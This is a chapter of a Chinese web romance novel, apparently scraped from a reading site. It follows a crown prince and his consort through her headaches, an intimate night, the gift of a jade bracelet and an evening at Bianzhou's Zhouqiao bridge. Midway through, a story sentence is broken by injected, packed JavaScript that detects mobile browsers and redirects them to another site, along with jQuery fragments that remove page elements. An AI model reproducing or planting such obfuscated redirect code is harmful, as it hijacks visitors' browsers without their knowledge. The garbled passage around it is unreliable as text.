默认冷灰
24号文字
方正启体

37. 037

作者:江喜悦本书字数:K更新时间:
    下一瞬,玄奉戈已站在了池音希面前。


    可周身带起的风却未侵袭到池音希身边。


    “阿奉。”池希音抬头看着他,嘴角扬起温柔的弧度。


    “不要笑。”


    玄奉戈俯下身,大掌贴上她的脸颊。掌心滚烫,贴在她微凉的脸上,将她的脸都煨红了。


    他的拇指,轻轻抚上她的嘴角,将那扬起的弧度慢慢抚平了。


    “昭昭,不想笑就不要笑。”


    池音希愣住了。


    她坐在椅上,微微仰着头,怔怔看着玄奉戈。


    她看到了,玄奉戈的眼中,亦满是自己。


    完整且清晰的自己。


    她的眼逐渐迷离起来,薄雾笼上了杏眼。


    她抬起手,指尖轻轻抚上玄奉戈的眼角,轻轻摩挲。


    那手又缓缓上移,插入了玄奉戈的发中,唇也贴了上去。


    “阿奉……”


    “我在。”


    两人呼吸交缠,互相含着对方的唇瓣,轻轻吮着。


    舌尖即将探出的瞬间,玄奉戈却蓦地向后一仰,微微拉开了两人的距离。


    可那双眼分明还带着迷离。


    池音希迷蒙的眼中闪过一丝不解,眉头微蹙,身子下意识向前倾去,还想继续。


    玄奉戈又躲开了。


    下一瞬,他双手捧起了她的脸,一个个细碎的吻落在了她的额上。


    吻得轻柔至极,仿佛怕吻疼了她。


    “昭昭,”他的声音哑得厉害,“你头又疼得厉害了,要先喝药。今日不宜……”


    池音希伸手,放在了玄奉戈的胸膛上,又快又重的心跳,带着她的手也跟着震起来。


    她粲然一笑,蓦地用力将人往后一推,打断了他的话。


    玄奉戈顺着她的力道向后,坐在了身后的书桌上。


    他坐在桌沿,双腿微敞,手撑在身侧,直直看着她。


    “好乖。”池音希站了起来,伸手贴住了玄奉戈的后颈,把人按向自己。


    而她也往前探去,二人鼻尖相触,呼吸又缠绕在一起。


    池音希欣赏着玄奉戈的眼睛,也看着他眼中的自己。


    她本不欲暴露此事。


    可是……


    不过一个该死的头疾,怎的就让人人都为她如此操心?


    “不用喝药。”


    池音希开口,声音带着媚意。


    “阿奉,你就是最好的药……”


    寝屋内。


    烛火同影子一同摇曳,一左右,一上下。


    玄奉戈靠坐在塌上,面对面拥着池音希。


    池音希坐在玄奉戈身上,他正牢牢箍着她的腰,好让人不必费力动作。


    池音希双手搭在玄奉戈肩上,头微微仰着,眉眼舒展,眼中洇出水光来,泛着粉意。


    她的脸上,是全然的放松与快意。


    玄奉戈紧紧盯着,他的眼黑了又亮,呼吸也愈发粗重起来。


    下一瞬,他含住了她的唇,以唇舌细细研磨,迎合着他的太子妃……


    翌日清晨。


    日头升起,缕缕红光透过窗纸,跃入寝屋。


    那红光见床塌上的帷幔没有放下,便争相着落在了塌上之人的脸上。


    池音希睡得正香,乌发雪肤,脸上带着未散的媚意。


    玄奉戈已经醒了。他侧着身,以肘撑于枕上,目光比红日贪心,细细吻遍了她,一处都不愿放过。


    他看了许久。


    似是那视线过于热烈,惹得人长睫轻颤了几下。


    池音希醒了。


    “醒了?”玄奉戈低头,在她唇上印上一个吻,温声道,“该起了。”


    “我昨日问过左咏歌,你今日需加泡一次药浴。”


    闻言,池音希眨了眨眼,意识逐渐回笼。


    见她的眸子逐渐清明过来,玄奉戈又问道:“昨日你所说之事……”


    “昭昭,”他顿了顿,“我是可彻底疗愈,还是可暂缓你的头疾?”


    “目前来看……”池音希彻底醒过神来,额角逐渐漫上细微的疼,且在一点点加深。


    她没在意,抬起手贴在了玄奉戈后颈上,揉捏起来:“我与你亲密之时,头疾便会彻底消失。”


    玄奉戈的眼逐渐变亮,眼睛泛起光来。


    可下一瞬,池音希又补充道:“我清醒过后,它也会跟着我逐渐醒神。”


    那亮光,又跟着池希音的话一点点暗了下去。


    玄奉戈低头,吻了吻她的额角。


    “是我没用。”他的声音发沉。


    “这是什么话?”池音希被逗笑了,双手捧起他的脸,转而正色道,“阿奉,是我幸运,该多谢你才是。”


    “昭昭永远不必对我言谢。”


    “先用早膳。”他将她抱起来,又说道,“再泡药浴,让左咏歌为你诊脉。”


    ……


    听了池音希的话,左咏歌平静的脸上染上震惊。


    细细为她诊脉之后,左咏歌拱手道:“通体所察,娘娘头疾有些许好转。


    “至于您所言之事……”她的眼中满是不解,又带着一丝兴奋的探究,“恕臣医术有限,未解其中原由。请殿下与娘娘给臣一些时日,待臣细细钻研后再行禀告。”


    “这大抵是……”左咏歌顿了一下,想起师父梁同的话,又补充了一句,“殿下与娘娘阴阳相合,天生一对。”


    这直白的左太医,竟也学会了奉承?


    池音希停着,眼中染上笑意。


    而玄奉戈眼中竟无半分喜色,他挥了挥手,让左咏歌退下了。


    “昭昭,”玄奉戈握住了池音希的手,“我会让人另寻大夫。”


    池音希一怔。


    “太医院的人没用,我便寻遍整个玄夏,定会有可治你头疾之人。”


    池音希听着他的话,昨日得知先生消息时的滞涩感又猛地涌了上来。


    “不必。”她深吸一口气,回握住玄奉戈的手,声音很轻,“左咏歌就很好,我的头疾确有缓解。”


    “不够。”玄奉戈看着她,内力运转,隔空将池音希卷入了怀中。


    “阿奉,不用。”池音希坐在他的腿上,眼神愈发认真,声音却愈发轻了,“此事……我的人已有眉目。你不必再插手了。”


    “……好。”玄奉戈盯着她,过了许久,终于应声道。


    他墨黑的眼扫过她的颈,那里露出一抹青线。


    目光下移,玄奉戈的眼又落在了池音希空荡荡的腰间。


    他收回目光,从怀中取出一物:“昭昭,龙纹玉佩现下不便戴着……”


    “那这镯子你可喜欢?”玄奉戈将手中的镯子举至池音希眼前,“上面刻了你我的表字。”


    是一青玉绞丝镯,玉质细腻,通体莹润,那绞丝雕刻的工艺亦是及其精美。


    “我甚是喜欢。”


    池音希眼中漾起笑意,她举起左臂,衣袖滑落,露出细长皓腕。


    “阿奉为我戴上罢,我会日日戴着。”


    玄奉戈眼中柔情更甚,他小心执着她的手腕,将镯子轻轻套了上去。


    青玉对莹白,两相辉映。


    玄奉戈看着,长睫缓缓垂下。


    那长睫遮住的墨黑瞳仁愈发幽深起来……


    二股镂空绞丝镯,一股刻“知微”,一股刻“承祚”。


    以绝品青玉雕成活环,玉丝绞缠,命理交织。


    伶仃作响间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232483|195082||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,缠千岁,锁春秋。


    ……


    “走,去这汴州的州桥看看。”


    用过午膳后,池音希站起身来,对玄奉戈说道。


    “你头疾初缓,”玄奉戈立即跟着起身,将她揽入怀中,“今日不去,你好生歇着可好?”


    “昨日答应了你去州桥的。”池音希从他怀中仰起头来,笑着说道。


    “若是我头疼了……”


    她话音一转,语调微微上扬:“便劳烦阿奉吻一吻我,嗯?”


    眉眼弯弯,脸同声音一样柔媚。


    “好。”玄奉戈呼吸一滞,猛地低头,吻住了她的唇。


    池音希整个人都被玄奉戈的气息笼罩住了,那吻温柔缠绵,也灼得她微微发颤。


    玄奉戈的声音含糊在二人的唇齿间,却又字字可闻。


    “凡昭昭所求,吾皆与尔成……”


    汴州,州桥。


    州桥上下,人物繁阜。雕车竞驻于天街,宝马争驰于御路,金翠耀目,罗琦飘香。①


    桥两岸皆为石壁,还有着精美浮雕壁画,雕镌海马、水兽、飞云之状……①


    “当真壮观……”池音希看着,不禁赞叹道。


    “百姓风光,”她顿了顿,又侧头看向玄奉戈:“亦是天家气度。”


    “若是父皇听了,”玄奉戈凑近池希音耳边,声音带着几分揶揄,“定是要喜到天上去了。”


    “走,”池音希轻笑出声,“日头要落了,咱们也走一走这州桥,去对面寻一酒楼用飧食去。”


    汴州的美食很丰富。


    酒楼一包厢内,池音希与玄奉戈临窗而坐。


    玄奉戈将菜单递给池音希,池音希看了看,对一旁的小二说:“胡饼、签鸡、莴苣笋、乳炊羊,各来一份。”


    她顿了顿,又点了两份甜食:“还有冰雪冷元子和荔枝膏。”


    两份甜食,都是冰的。


    那小二一一记下,正要退下,玄奉戈开口了。


    “再来个越梅和鸡头酿砂糖。”


    “好嘞二位客官,请稍等。”小二应声,笑着退下了。


    “昭昭,”玄奉戈的手握住池音希的,十指交叉,“不可贪凉。”


    闻言,池音希点了点头,早已习惯了:“那我就不……”


    “每样只吃三口,可好?”玄奉戈打断了她,温声道,“若还想吃,明日我们再来。”


    池音希一怔,旋即笑了。


    “好。”


    日头渐低,州桥却更热闹了。千灯沸,风拂水,波澜微兴。


    池音希感受着徐徐夏风,凭栏远眺。


    那风带着河水的湿润气息,亦带着两岸飘来的香气。


    州桥上下,丝竹之声悦耳,绫罗绸缎与粗布麻衣皆有,繁华盛景,漫卷着欢愉。


    她蓦地笑了,笑意很淡,浮在眼上。


    “汴水斜阳金缕细,正目极,舟舟渡。


    宝马香车驰御路。


    锦帆深处,丝竹响彻,十里烟花浦。


    柳浪荷风拂暑尽,忽惊蝉鸣催人去。


    恍如许,杳无据。


    扇底远山谁寄与?


    州桥楼角,空庭独立,默照人千里。”


    她轻声吟道,声音很轻,几乎要消散在晚风里。


    “当真是好词。”


    玄奉戈的声音响起。


    随即,一双有力的臂膀穿过她的腰侧,从身后紧紧搂住了她。


    “夏风畅快,何事画悲扇?”


    玄奉戈低头,含住了那抹莹白的耳垂,轻轻厮磨。


    “昭昭,你在想谁?”


    他的声音低沉,带着分诱哄。


    “告诉我,我可以帮你找到他……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)